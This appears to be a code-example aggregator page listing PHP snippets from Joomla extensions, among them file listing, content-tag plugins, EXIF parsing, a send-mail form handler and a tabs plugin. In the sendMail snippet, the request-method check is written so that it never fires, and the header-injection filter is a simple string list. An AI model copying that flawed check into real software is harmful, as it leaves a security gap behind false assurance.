     $item->tags = $modelPT->getBlogTags($blog->id);
     foreach ($skip as $v) {
         unset($item->{$v});
     }
     return $item;
 }
Ejemplo n.º 24
0
 function listFiles($path, $regex = '.')
 {
     $files = array();
     // Make sure path is valid
     $path = JPath::clean($path);
     if (empty($path) || JString::strpos($path, JPATH_ROOT) === false) {
         return $files;
     }
     $list = JFolder::files($path, $regex, false, true);
     if (empty($list)) {
         return $files;
     }
     foreach ($list as $filename) {
         $f = new JObject();
         $f->name = JFile::getName($filename);
         $f->path = $filename;
         $f->src = JString::str_ireplace(JPATH_ROOT . DS, JURI::root(), $f->path);
         $f->src = str_replace(DS, '/', $f->src);
         $f->size = LinkrHelper::parseSize($f->path);
         $f->ext = strtolower(JFile::getExt($f->name));
         switch ($f->ext) {
             // Image
             case 'bmp':
             case 'gif':
             case 'jpg':
             case 'jpeg':
             case 'odg':
             case 'png':
             case 'xcf':
                 list($w, $h) = @getimagesize($f->path);
                 $size = LinkrHelper::imageResize($w, $h, 32);
                 $f->width = $size['width'];
                 $f->height = $size['height'];
                 $f->icon = JString::str_ireplace(JPATH_ROOT . DS, JURI::root(), $f->path);
                 $f->icon = str_replace(DS, '/', $f->icon);
                 $f->type = JText::_('Image');
                 break;
                 // Other files
             // Other files
             default:
                 $f->type = strtoupper($f->ext);
                 $f->width = 32;
                 $f->height = 32;
                 $icon = JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_media' . DS . 'images' . DS . 'mime-icon-32' . DS . $f->ext . '.png';
                 if (file_exists($icon)) {
                     $f->icon = JURI::root() . 'administrator/components/com_media/images/mime-icon-32/' . $f->ext . '.png';
                 } else {
                     $f->icon = JURI::root() . 'administrator/components/com_media/images/con_info.png';
                 }
                 break;
         }
         $files[] = $f;
     }
     return $files;
 }
Ejemplo n.º 25
0
 /**
  * @param   string	The context of the content being passed to the plugin.
  * @param   object	The article object.  Note $article->text is also available
  * @param   object	The article params
  * @param   integer  The 'page' number
  */
 public function onContentPrepare($context, &$article, &$params, $page = 0)
 {
     // Simple performance check to determine whether bot should process further.
     if (JString::strpos($article->text, 'pre>') === false) {
         return true;
     }
     // Define the regular expression for the bot.
     $regex = "#<pre xml:\\s*(.*?)>(.*?)</pre>#s";
     // Perform the replacement.
     $article->text = preg_replace_callback($regex, array(&$this, '_replace'), $article->text);
     return true;
 }
Ejemplo n.º 26
0
 /**
  * Exif to number
  *
  * @param   string  $value   Value
  * @param   string  $format  Format
  *
  * @return string
  */
 protected function exifToNumber($value, $format)
 {
     $spos = JString::strpos($value, '/');
     if ($spos === false) {
         return sprintf($format, $value);
     } else {
         $bits = explode('/', $value, 2);
         $base = FArrayHelper::getValue($bits, 0);
         $divider = FArrayHelper::getValue($bits, 1);
         return $divider == 0 ? sprintf($format, 0) : sprintf($format, $base / $divider);
     }
 }
Ejemplo n.º 27
0
 public function onContentPrepare($context, &$row, &$params, $page = 0)
 {
     if (JString::strpos($row->text, '{remote') === false) {
         return true;
     }
     preg_match_all('#{remote\\s+(.*?)}#i', $row->text, $matches, PREG_SET_ORDER);
     if (!empty($matches)) {
         foreach ($matches as $match) {
             $row->text = JString::str_ireplace($match[0], $this->remote($match[1]), $row->text);
         }
     }
 }
Ejemplo n.º 28
0
 public function onContentPrepare($context, &$row, &$params, $page = 0)
 {
     if (JFactory::getApplication()->isAdmin()) {
         return true;
     }
     if (JString::strpos($row->text, 'f90filter') === false) {
         return true;
     }
     // Search for this tag in the content
     $regex = "#{f90filter(.*?)}(.*?){/f90filter}#s";
     $row->text = preg_replace_callback($regex, array($this, 'process'), $row->text);
     return true;
 }
Ejemplo n.º 29
0
 /**
  * Send email
  *
  * @param   string  $email  Email
  *
  * @throws RuntimeException
  *
  * @return  bool
  */
 public function sendMail($email)
 {
     JSession::checkToken() or die('Invalid Token');
     $app = JFactory::getApplication();
     $input = $app->input;
     /*
      * First, make sure the form was posted from a browser.
      * For basic web-forms, we don't care about anything
      * other than requests from a browser:
      */
     if (!isset($_SERVER['HTTP_USER_AGENT'])) {
         throw new RuntimeException(JText::_('JERROR_ALERTNOAUTHOR'), 500);
     }
     // Make sure the form was indeed POST'ed:
     //  (requires your html form to use: action="post")
     if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
         throw new RuntimeException(JText::_('JERROR_ALERTNOAUTHOR'), 500);
     }
     // Attempt to defend against header injections:
     $badStrings = array('Content-Type:', 'MIME-Version:', 'Content-Transfer-Encoding:', 'bcc:', 'cc:');
     // Loop through each POST'ed value and test if it contains
     // one of the $badStrings:
     foreach ($_POST as $k => $v) {
         foreach ($badStrings as $v2) {
             if (JString::strpos($v, $v2) !== false) {
                 throw new RuntimeException(JText::_('JERROR_ALERTNOAUTHOR'), 500);
             }
         }
     }
     // Made it past spammer test, free up some memory
     // and continue rest of script:
     unset($k, $v, $v2, $badStrings);
     $email = $input->getString('email', '');
     $yourname = $input->getString('yourname', '');
     $youremail = $input->getString('youremail', '');
     $subject_default = JText::sprintf('Email from', $yourname);
     $subject = $input->getString('subject', $subject_default);
     jimport('joomla.mail.helper');
     if (!$email || !$youremail || FabrikWorker::isEmail($email) == false || FabrikWorker::isEmail($youremail) == false) {
         $app->enqueueMessage(JText::_('PHPMAILER_INVALID_ADDRESS'));
     }
     $config = JFactory::getConfig();
     $sitename = $config->get('sitename');
     // Link sent in email
     $link = $input->get('referrer', '', 'string');
     // Message text
     $msg = JText::sprintf('COM_FABRIK_EMAIL_MSG', $sitename, $yourname, $youremail, $link);
     // Mail function
     $mail = JFactory::getMailer();
     return $mail->sendMail($youremail, $yourname, $email, $subject, $msg);
 }
Ejemplo n.º 30
0
 /**
  * tabs prepare content method
  *
  * Method is called by the view
  *
  * @param 	object		The article object.  Note $article->text is also available
  * @param 	object		The article params
  * @param 	int			The 'page' number
  */
 public function onAfterRender()
 {
     $app = JFactory::getApplication();
     if ($app->isAdmin()) {
         return;
     }
     $document = JFactory::getDocument();
     $styles = $document->_styleSheets;
     $scripts = $document->_scripts;
     $this->_body = JResponse::getBody();
     $disable_tab = $this->params->get('disable_tab', 0);
     if ($disable_tab) {
         $this->_body = $this->removeCode($this->_body);
         JResponse::setBody($this->_body);
         return;
     }
     if (JString::strpos($this->_body, '{jatabs') === false) {
         $HSmethodDIRECT = false;
     } else {
         $HSmethodDIRECT = true;
     }
     if ($HSmethodDIRECT) {
         if (!defined("JAMOOTAB_PLUGIN_HEADTAG")) {
             $this->stylesheet();
         }
         require_once 'plugins/system/jatabs/jatabs/parser.php';
         $parser = new ReplaceCallbackParserTabs('jatabs');
         $this->_body = $parser->parse($this->_body, array(&$this, 'Jatabs_replacer_DIRECT'));
     }
     if ($this->_styles) {
         $this->_body = str_replace('</head>', "\t" . implode(' ', $this->_styles) . "\n</head>", $this->_body);
     }
     $document = JFactory::getDocument();
     $styles_1 = $document->_styleSheets;
     $scripts_1 = $document->_scripts;
     $styles_diff = array_diff_key($styles_1, $styles);
     $scripts_diff = array_diff_key($scripts_1, $scripts);
     if ($styles_diff) {
         foreach ($styles_diff as $strSrc => $strAttr) {
             $headtag = '<link href="' . $strSrc . '" type="text/css" rel="stylesheet" />';
             $this->_body = str_replace('</head>', "\t" . $headtag . "\n</head>", $this->_body);
         }
     }
     if ($scripts_diff) {
         foreach ($scripts_diff as $strSrc => $strType) {
             $headtag = '<script src="' . $strSrc . '" type="text/javascript" ></script>';
             $this->_body = str_replace('</head>', "\t" . $headtag . "\n</head>", $this->_body);
         }
     }
     JResponse::setBody($this->_body);
 }